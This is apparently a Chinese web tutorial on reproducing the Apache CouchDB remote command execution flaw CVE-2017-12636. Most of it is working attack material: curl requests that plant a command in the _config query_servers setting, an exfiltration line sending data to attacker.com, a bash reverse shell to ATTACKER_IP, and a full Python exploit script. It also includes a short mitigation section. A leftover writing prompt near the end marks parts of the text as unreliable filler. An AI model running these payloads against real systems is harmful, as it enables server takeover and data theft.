# 如何进行CouchDB 任意命令执行漏洞CVE-2017-12636复现 ## 漏洞概述 CVE-2017-12636是Apache CouchDB中的一个高危安全漏洞,该漏洞允许攻击者通过精心构造的HTTP请求在目标服务器上执行任意操作系统命令。此漏洞影响CouchDB 1.7.0至2.1.1版本,由于Erlang脚本引擎对JavaScript处理不当导致。 ### 漏洞原理 CouchDB的查询服务器(`couchjs`)在处理特定JSON数据时,未能正确验证用户输入,使得攻击者可以通过`_config` API修改运行时配置,最终实现远程代码执行(RCE)。 ## 环境准备 ### 所需工具 1. **漏洞环境**: - 安装受影响版本的CouchDB(推荐使用Docker快速搭建): ```bash docker run -d -p 5984:5984 --name vulncouch couchdb:2.1.0 ``` 2. **测试工具**: - cURL或Postman(用于发送HTTP请求) - Python3(可选,用于编写自动化脚本) ### 配置检查 确保CouchDB服务正常运行: ```bash curl http://localhost:5984/
预期返回类似:
{"couchdb":"Welcome","version":"2.1.0"}
默认配置下,CouchDB可能允许未授权访问/_config
接口:
curl http://localhost:5984/_config
若返回大量配置信息,说明存在未授权访问风险。
query_server
配置通过修改query_server
配置实现命令注入:
curl -X PUT http://localhost:5984/_config/query_servers/cmd \ -d '"/sbin/ifconfig > /tmp/exploit && curl http://attacker.com/exfiltrate?data=$(cat /tmp/exploit | base64)"' \ -H "Content-Type: application/json"
构造包含命令执行的临时视图:
curl -X PUT 'http://localhost:5984/testdb' curl -X PUT http://localhost:5984/testdb/_design/exploit \ -d '{"_id":"_design/exploit","views":{"cmd":{"map":""} },"language":"cmd"}' \ -H "Content-Type: application/json"
通过查询视图触发命令:
curl -X GET http://localhost:5984/testdb/_design/exploit/_view/cmd
检查命令是否成功执行:
docker exec vulncouch ls /tmp
应能看到生成的exploit
文件。
_config
API暴露:允许修改运行时配置language
字段指定自定义命令处理器query_servers
参数进行安全校验sequenceDiagram attacker->>+CouchDB: PUT /_config/query_servers/cmd CouchDB-->>-attacker: 200 OK attacker->>+CouchDB: PUT /db/_design/exploit CouchDB-->>-attacker: 201 Created attacker->>+CouchDB: GET /db/_design/exploit/_view/cmd CouchDB->>+System: 执行配置的命令 System-->>-CouchDB: 命令输出 CouchDB-->>-attacker: 500 Error (包含部分输出)
/_config
访问: location ~ ^/_config { deny all; }
[admins] admin = mypassword
修改query_servers
配置建立反向连接:
curl -X PUT http://localhost:5984/_config/query_servers/cmd \ -d '"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' \ -H "Content-Type: application/json"
import requests import sys def exploit(target, cmd): config_url = f"{target}/_config/query_servers/cmd" requests.put(config_url, data=f'"{cmd}"', headers={"Content-Type":"application/json"}) db_url = f"{target}/exploit_db" requests.put(db_url) doc_url = f"{db_url}/_design/exploit" requests.put(doc_url, json={ "_id": "_design/exploit", "views": {"cmd": {"map": ""}}, "language": "cmd" }) trigger_url = f"{doc_url}/_view/cmd" requests.get(trigger_url) if __name__ == "__main__": exploit(sys.argv[1], sys.argv[2])
”`
注:实际复现时请替换ATTACKER_IP
等占位符,并确保在合法授权环境下操作。文章长度可通过增加以下内容扩展: - 详细错误分析 - 不同版本的影响差异 - 企业级防护方案 - 入侵检测规则示例
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。